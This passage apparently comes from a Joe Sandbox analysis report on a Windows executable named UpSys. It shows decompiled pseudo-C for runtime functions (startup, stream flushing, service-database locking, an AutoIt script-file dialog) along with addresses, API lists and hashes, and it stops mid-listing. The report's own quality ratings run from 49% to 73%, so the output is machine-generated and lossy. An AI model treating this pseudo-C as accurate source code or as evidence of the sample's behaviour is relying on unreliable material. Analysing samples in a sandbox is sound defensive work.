                                                                                                                                                                                                        • Instruction Fuzzy Hash: F651CF3621464092DB21DF23E4807DEA3A1F78CBC8F845416FF8D57B69DA39C605CB41
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001D2A8 Relevance: 7.6, APIs: 5, Instructions: 107COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 61%
                                                                                                                                                                                                        			E0000000114001D2A8(void* __edx, long long __rbx, void* __rdx, void* __r8, signed int _a8, long long _a16) {
				signed short _v56;
				void* _v60;
				char _v120;
				intOrPtr _v136;
				void* __rdi;
				void* _t25;
				void* _t28;
				void* _t36;
				void* _t37;
				intOrPtr _t39;
				void* _t68;
				void* _t71;
				long long _t89;
				void* _t94;
				void* _t97;
				void* _t98;
				void* _t102;
				void* _t104;
				void* _t105;
				void* _t106;

				_t102 = __r8;
				_t94 = __rdx;
				_t90 = __rbx;
				_a16 = __rbx;
				GetStartupInfoW(??);
				if ( *0x140000000 != 0x5a4d) goto 0x4001d331;
				_t89 =  *0x14000003C + 0x140000000;
				if ( *_t89 == 0x4550) goto 0x4001d2f3;
				_a8 = 0;
				goto 0x4001d341;
				if ( *((intOrPtr*)(_t89 + 0x18)) == 0x20b) goto 0x4001d309;
				_a8 = 0;
				goto 0x4001d341;
				if ( *((intOrPtr*)(_t89 + 0x84)) - 0xe > 0) goto 0x4001d31d;
				_a8 = 0;
				goto 0x4001d341;
				_a8 = 0 |  *((intOrPtr*)(_t89 + 0xf8)) != 0x00000000;
				goto 0x4001d341;
				_a8 = 0;
				_t25 = E00000001140020CA8(1, _t89); // executed
				if (_t25 != 0) goto 0x4001d371;
				if ( *0x400b4558 != 1) goto 0x4001d35d;
				E0000000114001EF68();
				E0000000114001ED40(0x1c, __rbx, 0x140000000, _t104, _t106);
				E00000001140016FE0(); // executed
				_t28 = E0000000114001D88C(_t89,  &_v120); // executed
				if (_t28 != 0) goto 0x4001d39c;
				if ( *0x400b4558 != 1) goto 0x4001d388;
				E0000000114001EF68();
				E0000000114001ED40(0x10, _t90, 0x140000000, _t104, _t106);
				E00000001140016FE0();
				E0000000114001F200(_t90);
				if (E00000001140021C60(0xff, _t90, _t94, 0x140000000, _t97, _t98, _t105) >= 0) goto 0x4001d3b5;
				E00000001140016F74();
				GetCommandLineW();
				 *0x400c8ac8 = _t89; // executed
				E000000011400294D8(_t68, _t71, _t89, _t90, _t97, _t98); // executed
				 *0x400b4550 = _t89;
				if (E000000011400293E8(_t90, _t102, _t106) >= 0) goto 0x4001d3e0;
				E00000001140016F74(); // executed
				_t36 = E00000001140029118(_t35, 8, _t90, _t94, 0x140000000, _t97, _t98, _t104); // executed
				if (_t36 >= 0) goto 0x4001d3f3;
				E00000001140016F74();
				_t37 = E00000001140017080(1, _t89, _t90, _t102); // executed
				if (_t37 == 0) goto 0x4001d408;
				E00000001140016F74();
				E000000011400290BC(_t102);
				r9d = 0xa;
				r9d =  !=  ? _v56 & 0x0000ffff : r9d;
				_t103 = _t89;
				_t39 = E000000011400120D0(_t90, 0x140000000, 0x140000000, _t89); // executed
				_v136 = _t39;
				if (0 != 0) goto 0x4001d43f;
				E000000011400172BC(_t89, _t94, _t89); // executed
				E000000011400172D4(_t89, _t94);
				if (_a8 != 0) goto 0x4001d45a;
				E000000011400172C8(_t89, _t94, _t103);
				asm("int3");
				E000000011400172E4(_t89);
				return 0xff;
			}























                                                                                                                                                                                                        0x14001d2a8
                                                                                                                                                                                                        0x14001d2a8
                                                                                                                                                                                                        0x14001d2a8
                                                                                                                                                                                                        0x14001d2a8
                                                                                                                                                                                                        0x14001d2ba
                                                                                                                                                                                                        0x14001d2cd
                                                                                                                                                                                                        0x14001d2dd
                                                                                                                                                                                                        0x14001d2e6
                                                                                                                                                                                                        0x14001d2ea
                                                                                                                                                                                                        0x14001d2f1
                                                                                                                                                                                                        0x14001d2fc
                                                                                                                                                                                                        0x14001d300
                                                                                                                                                                                                        0x14001d307
                                                                                                                                                                                                        0x14001d310
                                                                                                                                                                                                        0x14001d314
                                                                                                                                                                                                        0x14001d31b
                                                                                                                                                                                                        0x14001d328
                                                                                                                                                                                                        0x14001d32f
                                                                                                                                                                                                        0x14001d333
                                                                                                                                                                                                        0x14001d346
                                                                                                                                                                                                        0x14001d34d
                                                                                                                                                                                                        0x14001d356
                                                                                                                                                                                                        0x14001d358
                                                                                                                                                                                                        0x14001d362
                                                                                                                                                                                                        0x14001d36c
                                                                                                                                                                                                        0x14001d371
                                                                                                                                                                                                        0x14001d378
                                                                                                                                                                                                        0x14001d381
                                                                                                                                                                                                        0x14001d383
                                                                                                                                                                                                        0x14001d38d
                                                                                                                                                                                                        0x14001d397
                                                                                                                                                                                                        0x14001d39c
                                                                                                                                                                                                        0x14001d3a9
                                                                                                                                                                                                        0x14001d3b0
                                                                                                                                                                                                        0x14001d3b5
                                                                                                                                                                                                        0x14001d3ba
                                                                                                                                                                                                        0x14001d3c1
                                                                                                                                                                                                        0x14001d3c6
                                                                                                                                                                                                        0x14001d3d4
                                                                                                                                                                                                        0x14001d3db
                                                                                                                                                                                                        0x14001d3e0
                                                                                                                                                                                                        0x14001d3e7
                                                                                                                                                                                                        0x14001d3ee
                                                                                                                                                                                                        0x14001d3f8
                                                                                                                                                                                                        0x14001d3ff
                                                                                                                                                                                                        0x14001d403
                                                                                                                                                                                                        0x14001d408
                                                                                                                                                                                                        0x14001d417
                                                                                                                                                                                                        0x14001d41d
                                                                                                                                                                                                        0x14001d421
                                                                                                                                                                                                        0x14001d429
                                                                                                                                                                                                        0x14001d430
                                                                                                                                                                                                        0x14001d436
                                                                                                                                                                                                        0x14001d43a
                                                                                                                                                                                                        0x14001d43f
                                                                                                                                                                                                        0x14001d450
                                                                                                                                                                                                        0x14001d454
                                                                                                                                                                                                        0x14001d459
                                                                                                                                                                                                        0x14001d45a
                                                                                                                                                                                                        0x14001d479

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CommandInfoLineStartup_cinit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1675588807-0
                                                                                                                                                                                                        • Opcode ID: 6ab1c1a48c1a2fa7137cc6699521b54463bedc202b4b62e12f967bb70885e06a
                                                                                                                                                                                                        • Instruction ID: 59e0c463972dea6f68e19551f4f921b183fddfcbd7e75fe3d38ffbb171ce5a12
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6ab1c1a48c1a2fa7137cc6699521b54463bedc202b4b62e12f967bb70885e06a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 93418F3160478186FB63ABA7A4513EE72A1AB8D3C4F00013EB7558B6F7DF7AC9458712
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140016AAC Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DecodePointer.KERNEL32(?,?,?,0000000140016BBD,?,?,?,?,0000000140016F49), ref: 0000000140016AD5
                                                                                                                                                                                                        • DecodePointer.KERNEL32(?,?,?,0000000140016BBD,?,?,?,?,0000000140016F49), ref: 0000000140016AE4
                                                                                                                                                                                                        • EncodePointer.KERNEL32(?,?,?,0000000140016BBD,?,?,?,?,0000000140016F49), ref: 0000000140016B61
                                                                                                                                                                                                          • Part of subcall function 000000014001DA00: realloc.LIBCMT ref: 000000014001DA2B
                                                                                                                                                                                                          • Part of subcall function 000000014001DA00: Sleep.KERNEL32(?,?,00000000,0000000140016B51,?,?,?,0000000140016BBD,?,?,?,?,0000000140016F49), ref: 000000014001DA47
                                                                                                                                                                                                        • EncodePointer.KERNEL32(?,?,?,0000000140016BBD,?,?,?,?,0000000140016F49), ref: 0000000140016B70
                                                                                                                                                                                                        • EncodePointer.KERNEL32(?,?,?,0000000140016BBD,?,?,?,?,0000000140016F49), ref: 0000000140016B7C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Pointer$Encode$Decode$Sleep_errnorealloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1310268301-0
                                                                                                                                                                                                        • Opcode ID: 1bb737c4ed974302b258dfe31cceb2608446475a324401c332120b678cd5a953
                                                                                                                                                                                                        • Instruction ID: fc3bd59291b6694aa1dafd9d8cda8d004775615ee026b45215727e44cee3ca30
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1bb737c4ed974302b258dfe31cceb2608446475a324401c332120b678cd5a953
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3221713130965480EA07EB63F9993DAB255B74DBD4F444826BB0E4F7B6DB7AC481C344
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400402B0 Relevance: 7.5, APIs: 5, Instructions: 31serviceCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Service$Database$CloseErrorHandleLastLockManagerOpenUnlock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2828566434-0
                                                                                                                                                                                                        • Opcode ID: 9688c46ef07dd9e9bd88244391e25d28354308e51eb9d057f886d7b4546c7fc2
                                                                                                                                                                                                        • Instruction ID: 5f00c94e132aa66d53b9774042b0d0b0e6cfbea5833454ec1be0a1273f02195c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9688c46ef07dd9e9bd88244391e25d28354308e51eb9d057f886d7b4546c7fc2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8FF0BE33601680C6EB169F63E5887E82350B789BC1F484435FF1B033B4DE3C88888618
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015150 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 49%
                                                                                                                                                                                                        			E00000001140015150(long long __rbx, void* __rcx, short* __rdx, long long __rsi, void* __r8, long long _a8, long long _a16) {
				void* _v8;
				void* _t8;
				void* _t10;
				void* _t11;
				void* _t13;
				short* _t15;
				void* _t27;
				void* _t29;
				void* _t31;

				_a8 = __rbx;
				_a16 = __rsi;
				_t29 = __r8;
				_t15 = __rdx;
				 *((char*)(__rcx + 3)) =  *0x400b5498 & 0x000000ff;
				_t27 = __rcx;
				if ( *__rdx == 0) goto 0x40035a90;
				_t8 = E000000011400151D0(_t13, __rdx, __rdx); // executed
				E00000001140015480(_t8, __rdx, __rdx, __rdx, _t29); // executed
				_t10 = E00000001140015270(_t15, _t27, _t15); // executed
				r8d = _t10;
				_t11 = E000000011400142D0(_t15, _t27, _t15, _t31, _t29); // executed
				return _t11;
			}












                                                                                                                                                                                                        0x140015150
                                                                                                                                                                                                        0x140015155
                                                                                                                                                                                                        0x140015169
                                                                                                                                                                                                        0x14001516c
                                                                                                                                                                                                        0x14001516f
                                                                                                                                                                                                        0x140015176
                                                                                                                                                                                                        0x140015179
                                                                                                                                                                                                        0x140015185
                                                                                                                                                                                                        0x140015190
                                                                                                                                                                                                        0x14001519b
                                                                                                                                                                                                        0x1400151a6
                                                                                                                                                                                                        0x1400151ac
                                                                                                                                                                                                        0x1400151c5

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetOpenFileNameW.COMDLG32 ref: 0000000140035B0A
                                                                                                                                                                                                          • Part of subcall function 00000001400151D0: GetFullPathNameW.KERNEL32 ref: 00000001400151F5
                                                                                                                                                                                                          • Part of subcall function 0000000140015480: SHGetMalloc.SHELL32 ref: 0000000140015498
                                                                                                                                                                                                          • Part of subcall function 0000000140015480: SHGetDesktopFolder.SHELL32 ref: 00000001400154B5
                                                                                                                                                                                                          • Part of subcall function 0000000140015480: SHGetPathFromIDListW.SHELL32 ref: 0000000140015518
                                                                                                                                                                                                          • Part of subcall function 0000000140015270: GetFullPathNameW.KERNEL32 ref: 0000000140015298
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: NamePath$Full$DesktopFileFolderFromListMallocOpen
                                                                                                                                                                                                        • String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
                                                                                                                                                                                                        • API String ID: 819131735-2360590182
                                                                                                                                                                                                        • Opcode ID: d1683952aefbde295865e859e16f2094391c4803a2a89b52ebf9a8d5161f47cc
                                                                                                                                                                                                        • Instruction ID: 107247b71c47e2ea2a5ef26145e1bf696132746a0020a3db67fe949b5071bb7c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d1683952aefbde295865e859e16f2094391c4803a2a89b52ebf9a8d5161f47cc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8C213D71204B8085E7229F12E8443DAB7A4F78DBC4F948125EB8C4BBA9DB7DC1458B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140019608 Relevance: 6.0, APIs: 4, Instructions: 42COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 66%
                                                                                                                                                                                                        			E00000001140019608(void* __edi, intOrPtr* __rax, long long __rbx, signed int __rcx, void* __rdx, void* __rsi, long long _a8) {
				signed int _v24;
				signed int _t16;
				void* _t19;
				void* _t21;
				void* _t29;
				signed int _t37;
				signed int _t39;
				void* _t45;
				void* _t49;

				_t44 = __rsi;
				_t43 = __rdx;
				_t39 = __rcx;
				_t35 = __rax;
				_a8 = __rbx;
				_t37 = __rcx;
				if (__rcx != 0) goto 0x40019640;
				E0000000114001EAE4(__rcx, __rax);
				_v24 = _v24 & __rcx;
				r9d = 0;
				r8d = 0;
				 *__rax = 0x16;
				E0000000114001EA14(__rax, __rcx, __rcx, __rdx, __rsi, _t45, _t49);
				goto 0x40019686;
				if (( *(_t39 + 0x18) & 0x00000083) == 0) goto 0x40019680; // executed
				_t16 = E00000001140018F00(0, _t37, _t39, _t44); // executed
				E00000001140024968(__rax, _t37); // executed
				_t19 = E00000001140024850(_t21, E00000001140018B10(__rax, _t37), _t29, _t35, _t37, _t37, _t43, _t44, _t45, _t49); // executed
				if (_t19 >= 0) goto 0x4001966d;
				goto 0x40019680;
				if ( *(_t37 + 0x28) == 0) goto 0x40019680;
				free(??);
				 *(_t37 + 0x28) =  *(_t37 + 0x28) & 0x00000000;
				 *(_t37 + 0x18) =  *(_t37 + 0x18) & 0x00000000;
				return _t16 | 0xffffffff;
			}












                                                                                                                                                                                                        0x140019608
                                                                                                                                                                                                        0x140019608
                                                                                                                                                                                                        0x140019608
                                                                                                                                                                                                        0x140019608
                                                                                                                                                                                                        0x140019608
                                                                                                                                                                                                        0x140019615
                                                                                                                                                                                                        0x14001961b
                                                                                                                                                                                                        0x14001961d
                                                                                                                                                                                                        0x140019622
                                                                                                                                                                                                        0x140019627
                                                                                                                                                                                                        0x14001962a
                                                                                                                                                                                                        0x140019631
                                                                                                                                                                                                        0x140019637
                                                                                                                                                                                                        0x14001963e
                                                                                                                                                                                                        0x140019644
                                                                                                                                                                                                        0x140019646
                                                                                                                                                                                                        0x140019650
                                                                                                                                                                                                        0x14001965f
                                                                                                                                                                                                        0x140019666
                                                                                                                                                                                                        0x14001966b
                                                                                                                                                                                                        0x140019674
                                                                                                                                                                                                        0x140019676
                                                                                                                                                                                                        0x14001967b
                                                                                                                                                                                                        0x140019680
                                                                                                                                                                                                        0x140019690

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DecodePointer_errno_flush_freebuf
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1889905870-0
                                                                                                                                                                                                        • Opcode ID: de5169e330bc02def1d2f251a0a0a9e4ddb7ea3f3af979ff42409471d01fb14d
                                                                                                                                                                                                        • Instruction ID: 944519126bda128296573d8a527c3a63892aa8e0257d3eade859e367e4ec94c4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: de5169e330bc02def1d2f251a0a0a9e4ddb7ea3f3af979ff42409471d01fb14d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9D01D43271064042FB26AF7794117EE1191ABDC7E8F2A0724FF154F1FACE36C8018650
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140019BB8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 73%
                                                                                                                                                                                                        			E00000001140019BB8(long long __rbx, signed int __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed int _v40;
				void* _t57;
				void* _t65;
				signed char _t74;
				void* _t84;
				void* _t86;
				void* _t107;
				signed int _t110;
				intOrPtr* _t113;
				char* _t117;
				intOrPtr* _t118;
				char* _t120;
				intOrPtr* _t125;
				signed long long _t129;
				void* _t131;
				long long _t134;
				long long _t136;
				intOrPtr* _t138;
				void* _t141;
				signed long long _t144;
				void* _t146;
				signed long long _t148;
				void* _t150;
				signed long long _t152;

				_t136 = __rbp;
				_t134 = __rsi;
				_t131 = __rdx;
				_t127 = __rcx;
				_t113 = _t138;
				 *((long long*)(_t113 + 8)) = __rbx;
				 *((long long*)(_t113 + 0x10)) = __rbp;
				 *((long long*)(_t113 + 0x18)) = __rsi;
				 *((long long*)(_t113 + 0x20)) = __rdi;
				_t125 = __rcx;
				if (__rcx != 0) goto 0x40019c04;
				E0000000114001EAE4(__rcx, _t113);
				_v40 = _v40 & __rcx;
				r9d = 0;
				r8d = 0;
				 *_t113 = 0x16;
				E0000000114001EA14(_t113, __rcx, __rcx, __rdx, __rsi, __rbp, _t141, _t150, _t146);
				goto 0x40019d5c;
				_t144 = E00000001140018B10(_t113, _t127);
				if ( *(_t125 + 8) >= 0) goto 0x40019c16;
				 *(_t125 + 8) =  *(_t125 + 8) & 0x00000000;
				_t10 = _t131 + 1; // 0x1, executed
				r8d = _t10;
				_t57 = E00000001140025520(_t65, r12d, 0, _t84, _t113, _t125, _t127, _t131, _t134, _t136, _t141); // executed
				if (_t57 < 0) goto 0x40019bfc;
				_t74 =  *(_t125 + 0x18);
				if ((_t74 & 0x00000108) != 0) goto 0x40019c3f;
				_t86 = _t57 -  *(_t125 + 8);
				goto 0x40019d5c;
				if ((_t74 & 0x00000003) == 0) goto 0x40019c8e;
				_t129 = _t144 * 0x58;
				if (( *( *((intOrPtr*)(0x400c88c0 + (_t144 >> 5) * 8)) + _t129 + 8) & 0x00000080) == 0) goto 0x40019c83;
				_t117 =  *((intOrPtr*)(_t125 + 0x10));
				goto 0x40019c7e;
				if ( *_t117 != 0xa) goto 0x40019c7b;
				_t118 = _t117 + 1;
				if (_t118 -  *_t125 < 0) goto 0x40019c74;
				if (_t86 != 0) goto 0x40019ca2;
				goto 0x40019d5c;
				if (_t74 < 0) goto 0x40019c83;
				E0000000114001EAE4(_t74, _t118);
				 *_t118 = 0x16;
				goto 0x40019bfc;
				if ((_t74 & 0x00000001) == 0) goto 0x40019d58;
				if ( *(_t125 + 8) != 0) goto 0x40019cb8;
				goto 0x40019d58;
				_t152 = _t144 >> 5;
				r13d = r13d & 0x0000001f;
				_t148 = _t144 * 0x58;
				if (( *(_t148 +  *((intOrPtr*)(0x400c88c0 + _t152 * 8)) + 8) & 0x00000080) == 0) goto 0x40019d56;
				_t36 = _t131 + 2; // 0x2
				r8d = _t36;
				if (E00000001140025520(_t65, r12d, 0, _t86,  *((intOrPtr*)(0x400c88c0 + _t152 * 8)), _t125, _t129, _t131, _t134, _t136, 0x400c88c0) != _t86) goto 0x40019d11;
				_t120 =  *((intOrPtr*)(_t125 + 0x10));
				goto 0x40019d03;
				if ( *_t120 != 0xa) goto 0x40019d00;
				_t107 = _t120 + 1 - _t129 + _t120;
				if (_t107 < 0) goto 0x40019cf9;
				asm("bt dword [ebx+0x18], 0xd");
				if (_t107 >= 0) goto 0x40019d56;
				goto 0x40019d54;
				r8d = 0;
				if (E00000001140025520(_t65, r12d, _t86, _t86, _t120 + 1, _t125, _t129 + _t120, _t131, _t134, _t136, 0x400c88c0) < 0) goto 0x40019bfc;
				if ( *_t125 -  *((intOrPtr*)(_t125 + 0x10)) +  *(_t125 + 8) + 1 - 0x200 > 0) goto 0x40019d3e;
				_t110 =  *(_t125 + 0x18) & 0x00000008;
				if (_t110 == 0) goto 0x40019d3e;
				asm("bt dword [ebx+0x18], 0xa");
				if (_t110 >= 0) goto 0x40019d41;
				if (( *(_t148 +  *((intOrPtr*)(0x400c88c0 + _t152 * 8)) + 8) & 0x00000004) == 0) goto 0x40019d56;
				return _t136 + _t134;
			}



























                                                                                                                                                                                                        0x140019bb8
                                                                                                                                                                                                        0x140019bb8
                                                                                                                                                                                                        0x140019bb8
                                                                                                                                                                                                        0x140019bb8
                                                                                                                                                                                                        0x140019bb8
                                                                                                                                                                                                        0x140019bbb
                                                                                                                                                                                                        0x140019bbf
                                                                                                                                                                                                        0x140019bc3
                                                                                                                                                                                                        0x140019bc7
                                                                                                                                                                                                        0x140019bd5
                                                                                                                                                                                                        0x140019bdb
                                                                                                                                                                                                        0x140019bdd
                                                                                                                                                                                                        0x140019be2
                                                                                                                                                                                                        0x140019be7
                                                                                                                                                                                                        0x140019bea
                                                                                                                                                                                                        0x140019bf1
                                                                                                                                                                                                        0x140019bf7
                                                                                                                                                                                                        0x140019bff
                                                                                                                                                                                                        0x140019c0d
                                                                                                                                                                                                        0x140019c10
                                                                                                                                                                                                        0x140019c12
                                                                                                                                                                                                        0x140019c1b
                                                                                                                                                                                                        0x140019c1b
                                                                                                                                                                                                        0x140019c1f
                                                                                                                                                                                                        0x140019c28
                                                                                                                                                                                                        0x140019c2a
                                                                                                                                                                                                        0x140019c33
                                                                                                                                                                                                        0x140019c35
                                                                                                                                                                                                        0x140019c3a
                                                                                                                                                                                                        0x140019c50
                                                                                                                                                                                                        0x140019c63
                                                                                                                                                                                                        0x140019c6c
                                                                                                                                                                                                        0x140019c6e
                                                                                                                                                                                                        0x140019c72
                                                                                                                                                                                                        0x140019c77
                                                                                                                                                                                                        0x140019c7b
                                                                                                                                                                                                        0x140019c81
                                                                                                                                                                                                        0x140019c85
                                                                                                                                                                                                        0x140019c89
                                                                                                                                                                                                        0x140019c90
                                                                                                                                                                                                        0x140019c92
                                                                                                                                                                                                        0x140019c97
                                                                                                                                                                                                        0x140019c9d
                                                                                                                                                                                                        0x140019ca5
                                                                                                                                                                                                        0x140019caf
